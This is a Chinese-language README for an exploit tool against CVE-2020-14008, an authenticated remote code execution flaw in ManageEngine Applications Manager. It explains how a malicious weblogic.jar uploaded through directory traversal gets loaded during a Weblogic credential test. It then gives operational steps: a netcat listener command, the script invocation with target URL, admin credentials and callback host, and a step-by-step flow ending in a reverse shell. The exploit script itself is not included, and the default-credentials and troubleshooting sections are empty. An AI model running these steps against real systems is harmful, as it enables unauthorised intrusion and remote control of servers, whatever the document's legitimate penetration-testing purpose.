CVE-2020-14008 - ManageEngine Applications Manager 远程代码执行漏洞

Zoho ManageEngine Applications Manager（版本 <= 14720）中的认证远程代码执行漏洞，通过任意文件上传实现。

漏洞概要

该漏洞利用Weblogic监控凭据测试功能。认证管理员将恶意 weblogic.jar 文件上传到预期的Weblogic库路径。当触发凭据测试时，ManageEngine通过 JarLoader.loadClass() 和 newInstance() 从上传的JAR中加载 weblogic.jndi.Environment，从而执行任意Java代码。

要求

系统

• Python 3.x
• Java JDK（javac 和 jar 在PATH中）
• nc（netcat）用于接收反向Shell

Python依赖

pip3 install requests urllib3 lxml

使用方法

1. 启动监听器

nc -lvnp 1337

2. 运行漏洞利用脚本

python3 cve-2020-14008.py <URL> <USERNAME> <PASSWORD> <LHOST> <LPORT>

示例

# 基础用法
python3 cve-2020-14008.py https://192.168.100.2:8443 admin admin 192.168.100.3 1337

漏洞利用流程

1. 登录 - 使用管理员凭据进行身份验证，获取会话Cookie
2. 枚举 - 获取ManageEngine基础安装目录
3. 构建JAR - 编译包含反向Shell的恶意Java类（weblogic.jndi.Environment）到 weblogic.jar
4. 上传 - 通过目录遍历将JAR上传到 classes/weblogic/version8/（备用方案：创建计划任务移动它）
5. 触发 - 调用 /testCredential.do 上的Weblogic凭据测试，加载并实例化恶意类
6. Shell - 反向Shell连接回监听器

默认凭据

故障排除

参考资料

• NVD - CVE-2020-14008 漏洞详情
• Exploit-DB #48793
• ManageEngine 安全公告

免责声明

本工具仅用于授权的渗透测试和安全研究。针对您未拥有或未获许可测试的系统进行未经授权使用是违法的。